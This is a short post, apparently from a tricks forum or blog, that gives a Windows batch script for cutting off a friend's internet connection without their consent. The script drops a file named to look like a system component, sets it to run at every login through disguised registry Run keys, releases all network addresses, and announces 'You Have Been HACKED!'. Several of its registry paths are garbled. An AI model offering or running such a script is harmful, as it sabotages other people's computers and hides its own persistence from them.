Disable Internet Permanently of your freind if you sit on his/her computer

 Copy this code in the notepad and save it as anything.bat or something like that

"  echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

echo You Have Been HACKED!

PAUSE     "